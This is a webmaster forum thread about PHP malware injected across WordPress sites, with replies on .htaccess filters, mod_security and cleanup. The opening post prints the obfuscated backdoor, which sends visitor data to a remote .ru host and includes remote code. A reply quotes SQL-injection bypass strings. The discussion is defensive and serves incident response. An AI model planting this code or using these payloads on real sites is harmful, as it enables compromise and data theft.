Recently I found scripts in php files through all my domains, the code looks like this: error_reporting(0);$a=(isset($_SERVER["HTTP_HOST"]) ? $_SERVER["HTTP_HOST"] : $HTTP_HOST); $b=(isset($_SERVER["SERVER_NAME"]) ? $_SERVER["SERVER_NAME"] : $SERVER_NAME); $c=(isset($_SERVER["REQUEST_URI"]) ? $_SERVER["REQUEST_URI"] : $REQUEST_URI); $g=(isset($_SERVER["HTTP_USER_AGENT"]) ? $_SERVER["HTTP_USER_AGENT"] : $HTTP_USER_AGENT); $h=(isset($_SERVER["REMOTE_ADDR"]) ? $_SERVER["REMOTE_ADDR"] : $REMOTE_ADDR); $n=(isset($_SERVER["HTTP_REFERER"]) ? $_SERVER["HTTP_REFERER"] : $HTTP_REFERER); $str=base64_encode($a).".".base64_encode($b).".".base64_encode($c).".".base64_encode($g).".".base64_encode($h).".".base64_encode($n);if((include_once(base64_decode("aHR0cDovLw==")."bdahbzzazbzgh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str))){} else {include_once(base64_decode("aHR0cDovLw==")."bdahbzzazbzgh".base64_decode("LnVzZXJzLnBocGluY2x1ZGUucnU=")."/?".$str);} Besides this code I found different files scattered through out folders in all my sites. They looks like this: date.php, command.php, link.php, etc... Almost in each folder was two files like that plus additional .htaccess file that pointing on one of these foreign php files. It took me very long time to clean it up and I am almost got deindexed in Google and other search engines. There were too many injected files so it wasn't done by hand but by some automated program on the server side I am very interested how did it happen and what should be done to prevent such injections in the future. I always keep my wordpress platforms updated to the latest version. Thank you, Vadim
Put the following code in .htaccess of your site root / folder. Remember it doesn't support https but kicks of script kiddies and scanners.
Hi, I have the following questions, hope someone can answer, thank you in advance. 1. What's the aim of these codes? 2. Any direct attack to my sites and hosting accounts? e.g. the hacker knows all my login username/password and mysql info? 3. Should I delete all those files one by one? and what should I do before deleting them? (because they may be produced again) 4. Except for the .htaccess and numbers.php files, is there any other files have got injected?
Ouch If you're on shared hosting, and you're thinking it's unlikely the problem was something on your end, time to move to a different host IMO
I can't think of any reason why these rewrite rules would not support HTTPS. Rewrite rules are not applied until after Apache has already decrypted the request. I can help with the people getting 500 errors. These errors are caused (at least, in this case) by rewrite rules that are impossible to parse. To figure out which rule is causing the problem, comment each one out in turn and request the page again to see if the error is still there. (You comment out a line by putting a # at the start of the line.) When you comment out the last line you will need to remove the [OR] from the line above it. Or just don't worry about the last line... if you haven't found the error by the time you get to the last line, try comment them all out except the last one and then uncommenting them, one by one, until the error comes back. Once you know which line causes the 500 error, paste it here and I'll see if I can see anything wrong with it. Speaking of which, I can see a couple of problems with what is there now. Firstly, the line with wikto, nikto and pikto has wkito written instead of wikto. Wikto is a well known web vulnerability scanner and so is Nikto. I've never heard of pikto and neither has Google. Pykto appears to be a Perl version of Nikto. In any case, you would probably do well to run one of these tools (or something like w3af) against your site to see if they know of any way to get in. It's not hard to change the User-agent of a tool so the bad guys will still be able to scan your site for vulnerabilities, even with this .htaccess installed. The SQL injection line looks almost useless. For instance, ; -- DROP TABLE Users; would make it through this filter, as would OR 2=2. It should be fairly obvious that listing all the queries a bad guy could write is futile. It would also mean that if you ever had a folder in your site called "select" then no one could visit that folder. The Remote/Local file inclusion line is actually only looking at remote file inclusion. Most local file inclusion involves directory traversal which is covered (incompletely) a few lines above. This is one of the lines that I suspect may be causing the 500 error. The http:// is optional because it is in parentheses and has a star after it. I think that a question mark on its own will default to a literal question mark (Apache is very smart) but I'm not sure on that. In any case, this will deny any URL that ends in a question mark. Strangely, lots of online scripts include a random number of question marks after the inclusion URL (From my site... look in the comments) so this may actually achieve something... albeit accidentally. The XSS protection is much the same as the SQL protection: almost useless. It protects against one specific type of XSS injection but there are hundreds more. The last thing I would pick up on (I could pick up on much more but the rest are only minor niggles) is the last line. The [F] after the target overrides the target and hence index.php is just confusing. It is more conventional to use a dash in this type of rule. RewriteRule . - [F,L] Of course, as Sameer-Hosting has already mentioned, mod_security works in a very similar way to this .htaccess file and comes with a large number of pre-made and community tested rules. In fact, I would probably describe this as "The poor man's mod_security" As for the actual problem of cleaning up your site, I would recommend installing subversion and putting your whole site in it once you have a good clean version. That way, if you do need to clean up your site again it's simply a matter of typing "svn revert" in the root directory of your site. You can also use "svn status" to see what files have changed since the last time you updated your site which will help detecting any new files if/when they appear. The best thing I think you can do after installing subversion is to grab Wikto or Nikto or w3af or one of the other tools listed on SecTools and run it over your own site. I'm always amazed at just how many vulnerabilities most sites have that are easily detectable by free tools.
1. Create antiSQLinjection.php: 2. Normally a web application PHP+MySQL has a config database file. Most other files/functions require config file. Open config file and insert this: Simple and good for anti SQL injection. Same idea for ASP/Perl